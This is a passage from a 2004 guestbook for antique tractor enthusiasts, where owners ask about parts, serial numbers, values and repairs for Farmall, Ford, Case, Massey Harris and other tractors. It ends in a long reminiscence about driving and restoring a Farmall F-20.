Terry wrote on Wednesday, June 16, 2004 (PDT):what is a F-30 in original condition worth..........
Bill DuFour wrote on Monday, June 14, 2004 (PDT):Does anyone know of or can tell me where I could get my hands on a front end loader for my 1951 8N?
sterling wrote on Sunday, June 13, 2004 (PDT):please change my E-mail address
bruce voigts wrote on Thursday, June 10, 2004 (PDT):My dad bought a Massey Harris 44 diesel in l951 when I was born. I now have it and enjoy running it. I want to hook it up to the grinder and see if it can pull it as a 3010 John Deere does.
ELDON FRYE wrote on Wednesday, June 09, 2004 (PDT): I JUST BOUGHT A 1949 FAMALL C ALL THE RUBBER IS NEW AND IT HAS BEEN CONVERTED OVER TO 12 VOLT. IT ALSO HAS A WIDE FRONT END AND IT STARTS RIGHT OFF NO PROBLEMS I PAID $1800.00 AND ALL IT NEEDS IS A NEW PAINT JOB AND DECALS, AND IT IS READY SHOW. BUT I NEED TO FIND THE DECALS FOR IT I HAVE LOOKD ALL OVER AND CAN NOT FIND THEM CAN YOU TELL ME WHERE I CAN FIND THEM. THANKS A BUNCH FOR YOUR HELP.
Tim wrote on Sunday, June 06, 2004 (PDT):I have an Oliver Super 55 in good condition that I've been using for 5 years to drag trees - it is a gas engine model and is located in Connecticut. I'm looking into a newer machine and I'm interested in selling. Anyone interested?
Eddie wrote on Sunday, June 06, 2004 (PDT):Have just purchased a IH B414 Diesel tractor. Anyone have any info on this model?? Can you point me in the right direction to find info on this tractor? Thanks
John N S wrote on Sunday, June 06, 2004 (PDT):HI. I just switched my to-35 to 12 volt. I did this since it started running really rough. I couldn't get enough voltage to keep it turning over to start it.. Now i have it switched. It sounds really rough and keeps backfiring.. any help would be apprecitated. JOhn
Dave wrote on Sunday, June 06, 2004 (PDT):Timing!! I am unable to locate any form of timing mark on flywheel. Therefore I am also unable to locate TDC for number one cylinder. Without sound like an idiot, I am not sure if I'm on the compression or exhaust side of TDC. Manuals haven't arrived yet. Any help would be appreciated.
steve horton wrote on Saturday, June 05, 2004 (PDT):Hello I would like information on the correct colors on my 1952 vac case tractor. Anything info would be appreciated. THANKS.
Jean Bailey wrote on Saturday, June 05, 2004 (PDT):we have a farmall B SN FAR 124677, would like to no the year it was made and what it is worth, it is in good running condition.
ed huston wrote on Friday, June 04, 2004 (PDT):I need to find aplace to buy motor parts for a hercules motor in a r66
tom wrote on Friday, June 04, 2004 (PDT):have a massey 85 would like to know where i can get a overhaul kit for it it is gas and has the small engine have not been able to bring one up on the internet yet. also the vertical big shaft on the very front for the power steering the seal has wore a groove in shaft and leaks power steering fluid what is the name of shaft and where can i find a good used one thanks
Rick D wrote on Thursday, June 03, 2004 (PDT):I just bought a 1952 Farmall Super M which happens to be my first tractor. I bought the tractor for mowing my field and i have a 3 point hitch with a brush hog mowing deck. I have no idea on how this attachment goes on. Can anyone e-mail a picture to me so my wife will quit teasing me on how tall the grass is getting. My tractor is in parade quality and I really bought it for several parades in town, the field was just an excuse to get the tractor out in front of the house. Please help out the grass is getting taller every day and she's getting nasty. rdriver at stresscon.com
Jay in Indiana wrote on Wednesday, June 02, 2004 (PDT):I sure would like to get a wide front end (like a VAO) for my 1949 Case VAC... Anything out there? I love this tractor - it's the only tractor I've ever owned and it has been more fun than I ever would have imagined. Jay (central Indiana)
Chris Faulkens wrote on Wednesday, June 02, 2004 (PDT):My grandfather owned a 1952 Ford 8N w/ a V8 engine. He passed away a couple years ago and I am trying to sell the tracotr for my grandmother. It does run, however it currently needs a new voltage regulator. I am going to check on it next weekend and will email pictures to anyone interested. Just contact me by email.
bob wrote on Monday, May 31, 2004 (PDT):Just finished restoring a 1940 B. Looks great. Am looking for a set of stock cultivators for it. any hits?
Rick wrote on Monday, May 31, 2004 (PDT):What is the difference between a Farmall B and a Farmall BN?
Darrell wrote on Monday, May 31, 2004 (PDT):I need to know if the battery ground on a farmal BN is negative or positive.
stewart johnston wrote on Monday, May 31, 2004 (PDT):I HAVE A 8/16 1 OF 3 IN NEW ZEALAND MINE IS NOT GOING A LOT BITS MISSING. 1 IN NZ IS GOING OTHER NOT GOING BITS MISSING . I AM LOOKING FOR PARTS ALSO WORK SHOP MANUAL.
Dennis G. Allison wrote on Sunday, May 30, 2004 (PDT):I also need the spring loaded pin that holds the Bush Hog shaft onto the PTO. Can anyone tell me where I can get one?
Gestur Gunnarsson wrote on Sunday, May 30, 2004 (PDT):In the spring of 1955, at age of 13 my carrier in the field of engineering, started by driving Farmall A. It was in the farm Lykkja, Kjalarnes, Iceland. We was harvesting hay the farmer a I. He drove the new Ferguson. Sometimes I started the work after milking at 10 o"clock and continued until 22 in. It was hard work but good school. Gestur Gunnarsson Reykjavik Iceland
Duane wrote on Sunday, May 30, 2004 (PDT):Okay, what makes mf-230 any better than ford 8n's or JD's?!?
Andy wrote on Saturday, May 29, 2004 (PDT):I have a 1960 Lo-Boy with several implements. It seems to have a problem with the carb not getting gas. If I mist it (spray or pour gas into the air intake) it runs fine, I think it may be an air intake leak. I have great fuel flow and have taken the carb apart and cleaned it several times (I have not rebuilt the carb). Everything looks fine but it won't run without "misting" it, if I do it runs great. I just changed the oil and am getting ready to get it fixed but where? I was informed there is a place in Mass around Worcester or Springfield that specializes in Cubs, tune-ups and repairs. I forgot where exactly but think it was called "The Outdoor power shop" or something like that. Anyone out there that could help me locate this shop to work on my Cub or knows of a good knowledgeable shop or person in the New England area to help me? The tractor otherwise is solid and I have several implements and I would love to have it running good again like when I bought it to use it at my camp in Maine...
billy ray wrote on Friday, May 28, 2004 (PDT):to whom ever! I have a nice 49 cub that was a dealer model. am trying to find out which white paint was used on this. it has a white hood, and seat, but the rest is red. Any help would be appreciated. And am looking for a front mount push blade for it. will trade a cultivator and or a belly mower sickle type for the blade and mounts, and/or etc etc. calls are okay 406-370-0508 thankyou
Dennis G. Allison wrote on Friday, May 28, 2004 (PDT):I purchased a 1949 8N as to the sellers knowledge, and It was converted to 12 volt but the ajuster rod that tightens the belt on the alternater will not tighten it up tight enough and it is attached to the front head bolt and I need a ajuster rod that will tighten it up so that I can get it to charge the battery, and if there is one where would I find it and would it attach to the front head bolt as well?
Dennis G. Allison wrote on Friday, May 28, 2004 (PDT):I just purchased a 1949 8N Ford at least the seller says "that it is to the best of his knowledge", anyway it has been converted to 12 volt, but the ajuster rod that holds the alternater belt tight is hitting the alternater keeping it from tightening the belt up!The rod is bolted down onto the front head bolt. Can anyone tell me if there is another rod that I can use that does not hit the alternater and if so would it bolt to the front head bolt as well?
martial wrote on Friday, May 28, 2004 (PDT):I have a farmall b for sale. It is a three wheeler. I live in Winnipeg Manitoba Canada. 1300$
paul johnson wrote on Thursday, May 27, 2004 (PDT):i have the 1955 case disel dual heads i would like to know thr hp of this tractor. thanks every one in christ paul sp no. 8063754.
Orin Roberts wrote on Wednesday, May 26, 2004 (PDT):I was wondering if anyone would know were i could locate a manual and side pannels for a massey harris 81. this is my firts real project and any help would be a great help.
shannon wrote on Wednesday, May 26, 2004 (PDT):My dad bought one and loves it paid around 1500-2000. alot as far as he was concerned runs good.
Brad Webb wrote on Monday, May 24, 2004 (PDT):I am looking at purchasing an F-20 that has been completly restored; can anyone tell me what an average price would be for a 36 model.
Ken Mack wrote on Saturday, May 22, 2004 (PDT): Got three of the old massey 44 two have front end loaders all have power stering good old tractors
JOHN ZAJACZKOWSKI wrote on Saturday, May 22, 2004 (PDT):just purchased a allis chalmers 'g'. i am looking for a original motor and clutch . please e-mail me if you have one or know somebody that does. cleveland , ohio area
dixon wrote on Saturday, May 22, 2004 (PDT):more about this tractor it was bought new by my father-in-law.had a backhoe on it and a front loader.took the hoe off in 64 and used it to haul small baled hay,in 67 we bought a holland bale wagon and used it for till 78 then went to round bales used it to chop corn and to chop baled hay.in 82 we put a ditcher on it and thats what i use it for today .it has been in the family sence it was new
Carlous Maynard wrote on Friday, May 21, 2004 (PDT):I am needing to know the tork specifications for the head gasket on my 1952 Ford tractor. If anyone would have the information or could tell me where to look, I'd be most appreciative.
Dee wrote on Friday, May 21, 2004 (PDT):i live in GA have a 1947 B fameall 4sale 1.800
Jerry Howard wrote on Thursday, May 20, 2004 (PDT):I have a Mc Cormick Farmall Cub, serial # 185116 J. Would like to know the year it was built. I'm going to put it up for sale. It runs great, has a Woods 42" belly mower, and the rear tires are like knew. Located in Racine WI.. Jerry at 262 835 1354.
Alex. wrote on Thursday, May 20, 2004 (PDT):I have just purchased an old Case tractor. It still runs well. However, I want to purchase a manual--it's wonderful to be able to service a machine again. The only common indentifier is VT. The numbers after the VT on the components vary.Can you give me a more precise identification? Where would I find a serial number? Thanks for your help.
Zach Wagner wrote on Wednesday, May 19, 2004 (PDT):I am 16 years old and I am looking into restoring my Grandpas good old farmall H. It has sat outside for proably 20 years although its not in that bad of condition. The motor however is set up is there any easy way to break it loose so that i can get a engine kit into it? I also wanto try and find out just how old this H is, is there anyway that i can find out ? email me
john cumbie wrote on Monday, May 17, 2004 (PDT):what is a mint con 1925 farmall reg worth i have one
Ana Terzaghi wrote on Monday, May 17, 2004 (PDT):We live in Uruguay, south America. We have a 8N tractor. We would like to sell it, are there offers? It is almost all original parts.
Lindell wrote on Sunday, May 16, 2004 (PDT):could anyone e-mail me some pictures of MF 97s and 98s? I would really appreciate it.
JerryPonto wrote on Sunday, May 16, 2004 (PDT):Hello! I have a "McCormick Farmall Super A" tractor that I am thinking of selling. The serial number is 309937 (1540) and the engine number is 354898R1. I would like to know what year the tractor is. The tractor has new rims and tires [11.2 X 24],(I still have the old ones also). It has a one-point hitch, chisel plow, back blade, etc. I also have the operator's manual. Any idea of it's approximate value? Any help would be greatly appreciated! Thanks in advance!!
Eastman Holden wrote on Saturday, May 15, 2004 (PDT):I am interested in purchasing a G at a reasonable price. Does anyone have one for sale? I am in South Mississippi but would travel up to 400 miles to purchase. Also, does anyone know if the G came with planters? If so, what is the name etc, etc,
Chuck Geiger wrote on Saturday, May 15, 2004 (PDT):I'm looking to buy a MF 184-4 and/or a MF 97 4wd.
Bill Coffman wrote on Saturday, May 15, 2004 (PDT):I have a 44 Massey Harris does anyone know the paint code for it.
Gary Andrist wrote on Saturday, May 15, 2004 (PDT):Our little VA is the neatest. A live PTO would be nice. As a kid, you sure learned to keep the thumbs outside the spokes of the steering wheel!
jim wood wrote on Friday, May 14, 2004 (PDT):Looking for a rod and piston for 1919 avery-Model b tractor. anyone know where i can find avery parts
Derek Smith wrote on Friday, May 14, 2004 (PDT):I have recently bored my John Deere R out .420 and put oversized 820 pistons in it. I have the american bosche injectors and i have been told that i need to replace my nozzle tips with those from an 820. HELP??
Dale Helwig wrote on Thursday, May 13, 2004 (PDT):In 1981 I bought my great uncle's B Farmall as a keep sake on his estate sale. I am trying to find a one row cultivator for it. Is there anyone out there that may know where I can find one so I can mount it on my B?
Willy Parrotte wrote on Tuesday, May 11, 2004 (PDT):I would like to know how to put a fan belt on a cub dated in the 1960's I have no book for it so any info will be greatly appreciated thanks
Bill Wilson wrote on Monday, May 10, 2004 (PDT):Looking at the picture I figure I have a Massey Harris 81. I bought it 10 years ago and it served me well plowing snow and skidding/lifting logs for a log cabin we built. It has a loader with it and good rubber. She is getting tired and needs a motor rebuild but still runs. I would like to sell it and am open to offers. I am located in Northern MN and can be reached by e-mail.
Philip Schmidt wrote on Monday, May 10, 2004 (PDT):Looking for information on removeing the crankshaft from a Farmall Cub Ser. Mo.223678 J built I think around 1965. Pictrue from a ship manuel would help.. I can not find any manuels around here.
jack nagel wrote on Sunday, May 09, 2004 (PDT):HI I from ontario canada 40 milies from wher cockshutt was built. The 40 # 35 wher painted yellow only early ones where red. I have restored lots of them.
Ray wrote on Friday, May 07, 2004 (PDT):I am looking for a Support Alternator part #107554-C1. This is for a Farmall Cub. I can be contacted at RTDarling at aol.com or phone 315 625-7725. Thank you. Ray
Rodney S Taylor wrote on Friday, May 07, 2004 (PDT):I am interested in adding a belly mower to a Allis Chalmers Model G to was my Grandfather's. As far as I know there is no PTO. Can anyone advise me on how to and were to locate such a mower?
j kauffman wrote on Tuesday, May 04, 2004 (PDT):the s/n is 3460 on my LA, jody S it started with the Y and the farmers liked the idea it could fit in a pick up truck in 1937 the model62 came out till 1939 the L till the la 41 46 they loved them on fruit farms cause of size you can get more info from a collecter i am olny 11 ask for hw the L came to be your welcom
Steven wrote on Monday, May 03, 2004 (PDT):I gradfather has what I believe to be a 51 I-9 with hydraulics, anyhow I had an individual tell me the I-9 has a taller gear which makes it more suitable for pulling and I was interested in heat treating some of the drivline and making a puller, but can anyone tell me more about the gearing??
Roger Sheard wrote on Monday, May 03, 2004 (PDT):I spent many hours driving AC G's on my cousins truck crop farm as a boy. Anyone have one for sale near Wisconsin? It would handy for the kids Pumpkin Business.
Tony Burgei wrote on Monday, May 03, 2004 (PDT):Where can I find an electric start system for a Farmall F-20
kenny wrote on Sunday, May 02, 2004 (PDT):Dear MR BROWN I would like to know ? If you hate JOHN DEERES so much why are you on this page you should be on the moline page with all the other LOOSERS!!!!!
Bertie Smit wrote on Sunday, May 02, 2004 (PDT):i own a Massey Harris K55 and i want to know some of his specs, kw/s, torque n/m, max rpm/s. Looking for a heatgage and eqnition and a generator. thanx
Randall Westfall wrote on Saturday, May 01, 2004 (PDT):I wrote last september that I had a 1952 cub. I suspect that it is an earlier model. There are casting #'s on various parts, but there is a data plate on the steering gearbox with a very faded # starting with "117xxx" and the number "1800" just below that. If anyone would know the year I would like to know. Also, I have a spare belly mower if anyone wants to make me an offer. I live in southwest Louisiana. This tractor mows over 8 acres of grass every 2 weeks and is also used to clear my property. I can't think of a stronger, more reliable tractor. Thanks in advance! Email to rand101 at bellsouth.net
Sherwood Braddy wrote on Saturday, May 01, 2004 (PDT):I recently bough a IH cub but the gas tank looks more like an Super A tank. The only # i can find on the motor on the right side by the steering box is IC 16 can anyone help me with what is. Is that the serial #? The rest of the tractor looks just like the cub. Thanks so much if you can help.
Jerry Martin wrote on Thursday, April 29, 2004 (PDT):live in north central Texas. Looking to buy a farmall cub for gardening. perfer one with some attachments. plows planters and belly mower.etc. Please let me know if you have one reasonable priced. Will consider one that needs restoring if running.
Bob Smalser wrote on Thursday, April 29, 2004 (PDT):Looking for a power steering pump for a 1959 Power Major Diesel with Daggenham 4-220 engine.
j. kauffman wrote on Tuesday, April 27, 2004 (PDT):I am 11 years old and have a 1941 LA . it runs good,I live in PA I paid 500 bucks for a undented John deere tractor if you find any other 2 cylinder tractors please contact me.I hope to get all the L series L 62 M LI. THANKS FOR YOUR TIME!
DFergus wrote on Monday, April 26, 2004 (PDT):I was told that Massy Ferguson had a fire and burned a plant down. So they worked out some kind of agreement for Minneapolis Moline to build the Massey Ferguson 97 while they built there plant back and the Massey Ferguson 97 was a Minneapolis Moline 705 with Massey Ferguson Sheet metal and paint. Has anybody else know any thing about this.
maurice wrote on Monday, April 26, 2004 (PDT):man i love them m's always wanted to get one and still do.
Edward Lund wrote on Monday, April 26, 2004 (PDT):I own a 1942 Farmall A. was running 2 years ago, although barely. As Bob wrote on 2/16, where can I re exite the magneto? I'm in Littleton, Ma.Thanks.
Bill Hayden wrote on Saturday, April 24, 2004 (PDT):Two years ago , I picked up a 1955 Case VAI that had belonged to a big orchard here in Connecticut. It has an eagle hitch , and pto , and is a great tractor . I have used it to haul firewood on my land, and also use a brush cutter on the 3 point hitch . I keep it in a shed, and even with the 6 volt electrical system , it starts in the winter...just . I also have a 2000 John Deere 4400 tractor with a 35 hp 3 cyl. yanmar diesel . Since I have a loader and a Patu wood chipper on the John Deere, I usually end up using the Case VAI for a lot of work . I payed $2400 dollars for the Case with brand new rear tires , and I believe the engine has been overhauled . It runs like a swiss watch . My only wish is that it had a live pto . When you push the clutch in , the mowing deck stops , or whatever you have hitched up to the pto . It's a manageable size , and does everything I need to do with it . It's a great little tractor , and if you can find one in good shape , they are usually not as expensive as a Deere of IH. Good hunting.
Eddie Cooke wrote on Saturday, April 24, 2004 (PDT):I own s/n 150147. what year is it?
Troy wrote on Friday, April 23, 2004 (PDT):need help with IH W6 tuneup specs points,plugs,timing,fire order.Any and help ,info will be great. thanks
Cheryl M. Smith wrote on Thursday, April 22, 2004 (PDT):I am writing this letter in hoping and praying that I might find someone, who can direct me and help me find out how much my dad's John Deer Tractor is worth so that my mom can sell it and get what she deserves. My dad passed away a little over 2 years ago, and we would rather find some one who would take good care of it and put in some work hours with it. If anyone can direct us and tell us what to look for that will lead us to the answers that will help us find out how much its worth, that would be great. Thank you, Cheryl
Doug wrote on Thursday, April 22, 2004 (PDT):I have a 1947 Farmall Super A/Cultivision A. The 2 designations are in identicle circle emblems, over/under type. Does anyone know what the difference is between mine and the standard Super A. Its not a Row Crop, it sits the same height as the std. Super A. I appreciate any info on this. Thanx.
JACQUES LEBLANC wrote on Wednesday, April 21, 2004 (PDT):Of course, Leader tractor have been made in Chagrin Falls Ohio, but I have restored one in Val d'Or Qubec (north of province) and use it from 1983 to 1993. I don't know today if the Leader (Green Acres) named by my friends is still in service somewhere, but I alway regret to sale this precious helper for any kind of situations. The only thing I can do is to contemplate photos I keep from. One suggestion I could say to the owners of Leader, you could replace originating steering box by a 1952 Ford pick up steering box. Sincerly Jacques
dave atkinson wrote on Wednesday, April 21, 2004 (PDT):I have a oliver super 55 and it runs great untill it gets good and warmed up then just wants to stop runing, then i push in the clutch and it starts running ok again untill i start to move and it does the same thing. Any suggestions?
John Holler wrote on Tuesday, April 20, 2004 (PDT):I have a 1948 FCUB for sale in Montana. Am intertaining bids through this summer. Please E-Mail me all questions you have & I'll mail you a photo of the tractor. It's still running strong, in 100% origional, & in mint condition. You can also call me at (406) 892-0903. Thank You
Langford Lloyd wrote on Tuesday, April 20, 2004 (PDT):8N Starter help! I'm a novice tractor mechanic and was surprised when I couldn't pull off the starter to get it rebuilt. Please offer how I to get the starter off. The bendix(?) won't allow it to come off. The shaft has a part on the opposite side of the ring gear. How do I go about it? Is there a relesae pin? Is there a good reference manual?
Matt wrote on Tuesday, April 20, 2004 (PDT):My father in law gave me a 1950 Air Force model VAI. It has green paint, and department of defense plackards, and air force decals. I am interested in how rare it might be, and would like a picture of one so i can properly restore it. If anyone knows how many of them are, i would be intersted. I have been told that not many came home from the Korean war and WWII. any info would be great
Dennis Green wrote on Monday, April 19, 2004 (PDT):Need A Hyd. Lift Cylinder For Three Point Hitch, Dont't Know If This Was Factory Unit, Looks Kind Of Homemade. Cylinder Has One Fluid Line, About 10 1/2" OA Length, Pin To Pin Compressed. Not Sure On The Travel Or Extended Length The Cylinder Needs Replaced, Cylinder And Shaft Are Badly Pitted.
Russ wrote on Sunday, April 18, 2004 (PDT):Crawler collection; I did not get the email address for Jason Benesch msg. dated Sat. Feb 21, 2004(PST). In the remote chance that Jason or someone knows his Email address please forward it to me. I was wondering if his family has shed storage to protect all 35 of those B.O. Lindemann crawlers, etc. Would like to have one of the running rigs. We used to work with a 1957 JD 420 Crawler with a dozer blade, winch and Gafner hydraulic pulp/log loader. The quick forward/reverser feature in any gear was real nice. Also the dozer blade float feature was nice to use. We always knew where the JD was working within a mile or two by the unique John Deere vertical twin sound. It could make some wicked high snow banks in the yard with the heavy snows we got in the 60's in Upper Michigan.
Terry McCullough wrote on Sunday, April 18, 2004 (PDT):Looking for Info; Model "F Cub" Serial No. 68217 Made in Chicago - Anyone know this model?
Shaun Esbenshade wrote on Saturday, April 17, 2004 (PDT):Hey i think i am about to get a Farmall A 1954.Can anyone tell me info on it? and how can i get dents out without destroyin the tin?..thanks a bunch email me at Rebelhunter706 at aol.com later
Mike Arendt wrote on Friday, April 16, 2004 (PDT):Just picked up a 8N left engine marker says A278 Any idea what year this might be? Also, I am looking for a brush hog, a log splitter(if I can see if this 8N has external hydrolic adaptors) Thanks
John Craig wrote on Thursday, April 15, 2004 (PDT):I have a 641 ford and need to replace the rear axil. Anyone have an idea what kind of a pain this is going to be to replace??
J L Sears wrote on Thursday, April 15, 2004 (PDT):A Farmall Regular '1920's vintage' was our first tractor in 1942. We farmed 320 acres dry corn & small grain. We had mounted lister, cultivator and converted from steel to rubber how ever we had steel also. A real workhorse but nothing by today's standard. Traded it in on new Ford/Ferguson in 1946.
tim metz wrote on Wednesday, April 14, 2004 (PDT):IF SOMEONE HAS SOOM DIMINSIONS OR BLUE PRINT FOR ONE OF THESE BELL HOUSING ADAPTERS I HAVE A MACHINE SHOP AT MY HOME AND AM INTERESTED IN DOING A CONVERSION MYSELF TIM 812-526-2404 AFTER 6PM
Jason wrote on Wednesday, April 14, 2004 (PDT):I recently traded some work for a Farmall Cub. I look forward to the restoration of it, as I have restored a Farmall M, and an "In Progress" Farmall H. If these old tractors could talk... So much Americana History.
Bill Pilkerton wrote on Wednesday, April 14, 2004 (PDT):Wanting to buy 53 or 54 sc case tractor w/foot clutch & eagle-hitch! Thanks, Bill
normand laplante wrote on Tuesday, April 13, 2004 (PDT):je possaide un tracteur massey harrys 1947 commen fair por savoir le model ma plaque signalitic est tres us (serie nomber)il ressemble au model 44
Jim Abrahamson wrote on Tuesday, April 13, 2004 (PDT):I just received a 1952 AC G from my grandfather. He stated that there is a grading blade made for the AC G that is positioned at the center of the tractor. I have searched the web, but am unable to find reference to it. Can anyone help me here?
John Lynch wrote on Monday, April 12, 2004 (PDT): I am looking to purchase a complete set of mid mount cultivators in good shape for my 1961 Cub ( Ser.#217887 ) I am located in Hillsville, VA Tel. 276-728-7854 Any help will be appreciated. John Lynch
Ray wrote on Monday, April 12, 2004 (PDT):I have a 1950 MT which has been in the family for 50 years,It has always been stored in doors.It has a 2 bottom plow, field culivator and loader that fits the tractor.The tractor was running when we parked it about 4 years ago. Does anyone know what the fair market value is for the tractor and equipment?
Brian Haas wrote on Monday, April 12, 2004 (PDT):I have a 1940 Farmall A that I would like to have restored. I live in upstste N.Y. do you anyone qualified in or around the area that would be interested in doing this for me.
Corey Acre wrote on Monday, April 12, 2004 (PDT):I would like to know if anyone can help me find the valve and other parts for a pneumatic lift for a farmall BN. Thanks
Rick & Laura wrote on Monday, April 12, 2004 (PDT):Just acquired a Super 55 gas. Need complete PTO & 3 point hitch assemblies as they had long ago been removed. Parts need not be pretty, just working. Thanks
Ken Kallam wrote on Monday, April 12, 2004 (PDT):I have used SOS tractors for a long time, they are very strong and tough. I have a l973 4000 that has several advantages over the older SOS tractors and would consider selling. have just gone through the transmission. Excellent tractors to bale hay and bush hog with. enjoy their use.
JONATHAN BINGHAM wrote on Sunday, April 11, 2004 (PDT):I AM A 12 YEAR OLD BOY THAT HAS BEEN FARMING SINCE I WAS 5 MY PAPAW BOUGHT ME A JOHNDEERE MODEL MT FOR CHRISTMAS I NEED A SET OF CULIVATORS FOR IT IF YOU FIND ONE PLEASE CONTACT ME.
karen fowler wrote on Sunday, April 11, 2004 (PDT):need tires for r model john deere prices
alan wrote on Saturday, April 10, 2004 (PDT):I am looking for the shift pattern for a oliver 70 row crop
Leonard Rahilly wrote on Saturday, April 10, 2004 (PDT):I spent many happy hours on a cousin's 1936 F-20 back in the 40s and early 50s. A few years ago, I came across one of that vintage in a used-machinery dealer's yard, and after putting in some new valves, found that it ran pretty well. It was on my father's farm in NJ, and one summer day when I was there, I decided to see if the old magic was still alive. A meadow needed bushhogging, so I hooked up the old beast to see if it was still a joy to drive an F-20. The meadow was overgrown in those spiky rushes that grow in clumps that we used to call "hassocks." In other words, a pretty rough ride on any tractor. Well, the F-20 was not designed for comfort (I sort of knew that when I was a teenager, but all that was overridden by the thrill of operating such a powerful, bellowing bull of a tractor). The seat sticking out the back means that every upward movement of the front wheels means a quick downward movement of the seat, and vice-versa. There is also no good place to put your feet; either you pull your knees up halfway to your face and put your feet on the axle housing, or you drop them over the axle housing and try to find a spot somewhere near the transmission cover. In the latter case, your ankles bounce against the sharp edge of the rear axle housing. Decidedly not comfortable for a long ride. That particular day, I lost my boyhood nostalgia to some extent. The hassocks brought back just how rough a rider this tractor is, and of course, without a muffler, the noise is just short of deafening when the tractor is working hard. The steering on the F-20 is a decided improvement over the open gearing of the original Farmall (the gearing on the original is exposed, and after a few years, tends to get pretty sloppy; there is also no protection against kickback, so ruts or furrows can get a thumb or even an arm if you drop into one unexpectedly; the F-20 steering gear is not immune to kickback, but it seems to be less dangerous because the gear wheel has to work against a worm). One thing I remember vividly is that the iron wheel gives a kind of "live" feeling to the steering of the F-20; it is even possible to spin it a bit in a quick turn, which is something that is impossible with the later models with a rubber steering wheel--not enough mass to give a flywheel-effect. The steel-wheeled F-20 was designed to pull two 14" plows in second gear at about 3 mph. I never used one on steel, but I have spent over 10 years on a steel-wheeled (McD) 10-20 (approximately the same horsepower) and I can testify in court that it could not pull two 14's any faster than the about-three mph of second gear (the steel wheels absorb a lot of the engine power--as much as 35 percent, I believe). When the F-20 was converted to rubber, it became a roaring fighting bull, because so much more of the engine power went to the wheels(engine; probably about 28 or 29 on gasoline; it produced about 27 at Nebraska on distillate--only 23 on kerosene)(rubber, by my estimates after looking at Nebraska Tractor Tests, robs 10-15% of the engine power, depending to some extent, I think, on the amount of slippage). The usual size tire to replace the 40" steel wheels was 36", which gave an effective diameter of about 48"--quite a much larger wheel. I estimate second gear on 36" rubber to give nearly 4 mph, compared with about three on the 40" steel wheels. This tractor on rubber pulled two 14" plows with ease at that speed (this is like being able to plow one gear higher). The ride was atrocious, as I have mentioned above about my experience in the meadow. The noise out that big elbow exhaust was deafening. At 1200 rpms full-load, you can almost hear every explosion. Because the standard-tread F-20 is so wide, the plow has to be hooked off to the right side, with the result that the steering is constantly pulling to the right. There was no relaxation while plowing with this beast! With other jobs, like disking, a center hitch meant that you could relax a bit, but you still had to look out for furrows or other dips that might pull the steering out of your hands. It appears that the 36" rims were chosen to clear the brake drums. Anything smaller meant that the wheels had to be turned out, making the tractor even wider than it was meant to be. IHC offered 28" wheels, as well. You can see in photos of these tractors that the wheels were always turned out. This must have put some strain on the axles. One of the advantages of the smaller wheels would have been ground speeds about like the original steel-wheeled tractors. I used to drive my cousin's F-20 while pulling a PTO-driven combine. Low gear, which originally had been around 2 mph, must have been close to 3 mph on the 36" wheels. This worked pretty well most of the time, but every once in a while, you'd hit a patch of heavy, green weeds, and WHUMP! the combine would bog down. A slower ground speed might have given the combine time to digest the weeds better. With a PTO-driven combine, the only way to stop the machine and keep it spinning was to kick the tractor out of gear while it was moving. This was very difficult with a load on the PTO. If you were quick enough, and saw the weeds in time, you could blip the throttle closed, kick the gear lever forward, then open the throttle. The throttle and gear lever are on the same side; it's pretty difficult to blip the throttle with your right hand, push the gear lever to neutral, and open the throttle, all in the blink of an eye--otherwise, it's time to get off and unclog the combine cylinder!) On the other side of the coin, the large rear wheels gave the F-20 a pretty good "road gear" (at least for its day). I estimate that at full throttle, without a load (the engine speed goes up to just below 1400 rpms), the F-20 could slide along at close to six mph. On the rough roads that were so common back in the 30s and 40s, this made a pretty good speed to pull a loaded wagon, to take the tractor to a field a mile away, or drive to a relative's farm a couple of miles away to help out with a harvest. I remember the painfully slow third gear of my father's F-12 (about 4 mph, full throttle), and was always delighted when I could run an F-20 full bore along a road. Everything is relative, of course. After we got an H, the old 20 seemed incredibly slow. The H and M can do almost 18 mph at no-load governed speed, and at this speed, you really can feel some wind (as I got a little more mature, I didn't like driving the H wide open on the road--some wear had developed in the steering gear and the front wheels would wobble at an alarming rate when the tractor was opened up). The F-20 is an example of what I call "early" designs; it uses a big, slow-turning engine, which does not produce a lot of horsepower because of the low-speed, but it does put out a lot of torque. With a normal load, it was rare that the tractor did not have enough torque to pull through a spot of stiff clay or other overload, without shifting down. Compare this with a Farmall H (152 cubic inches displacement, compared to about 221 for the F-20). With an H, any overload meant an immediate downshift, because there wasn't much torque. Incidentally, the early Farmall gave a very low output in the only Nebraska test to which it was subjected; I believe this is because it used a 1" carburetor. Later models used 1-1/4", or the same size as an F-20. I had a few occasions to use a '29 Farmall on rubber, and I don't think it produced much less power than an F-20. Much was made of the new manifold and updraft carburetor when the F-20 came out. IHC claimed 15% more power, but they did not say if that meant compared to the early Farmall tested at Nebraska, or to a late model with the 1-1/4" carburetor. A few comments on restorations; 1. I have seen very few F-20s at shows with the original hot manifold (kerosene-distillate). These usually burned out, but the tractors were still going strong after 20 or thirty years, so farmers replaced the manifold with after-market manifolds designed for gasoline only. These are easily spotted because the intake pipes are pretty much separate from the exhaust manifold, so that the intake mixture does not expand too much. The original hot manifold was a massive casting with most of the induction pipes buried inside the casting. Even Ertl's so-called "Precision" F-20 missed this point. They probably looked at a real F-20, but it is unlikely that they knew much about the tractor. Another point about restorations; The rubber steering wheel probably came out sometime in 1937 (I have no data, but the '36 I owned and the one I used to drive both had iron wheels). Many restorations use iron wheels, which must be easy to find because they don't disintegrate. This looks a little strange coupled with the beautiful cast-iron rear wheels that came out late in the life of the F-20 (IHC publicity photos always show the cast-iron wheels along with a rubber steering wheel). Other restorers have replaced the rubber wheel with an open-spoked steering wheel from an H or M. Works, but definitely not kosher. Perhaps somebody is now producing authentic rubber-covered steering wheels for the IHC tractors of the late 30s? Governors; The original F-20 had a "throttling governor," identical to the design of the later original Farmalls (which had 2 styles of governor; the early one had open arms and rods leading to the carburetor; sometime around 1927, I'd guess, all the governor components were enclosed). In 1937, I believe (this can be checked with serial numbers), International came out with a "variable governor" for a number of the tractors with engines like the F-20's (10-20, W-30, F-30). This is the model with the notched pull-rod on the LEFT side of the gas tank. "Variable" in this sense means that the governor functions within a certain range of speeds, from full open to just above idle. The earlier governor on all tractors with this type engine did NOT govern below the full-throttle position. I have vivid memories of pulling a hay rake with an F-20, at part throttle in one of the higher gears. Every downgrade meant that the engine speeded up, and every upgrade meant that the engine slowed down. A variable governor would have controlled the engine speed. The control rod on the variable-governor model is connected via a cross-rod just behind the engine to a series of levers that eventually join up with a pull-rod that comes out of the rear of the governor housing. IHC made a retro-fit variable governor for these tractors, which had a special governor lid that held a bracket for the necessary lever. With this model, the 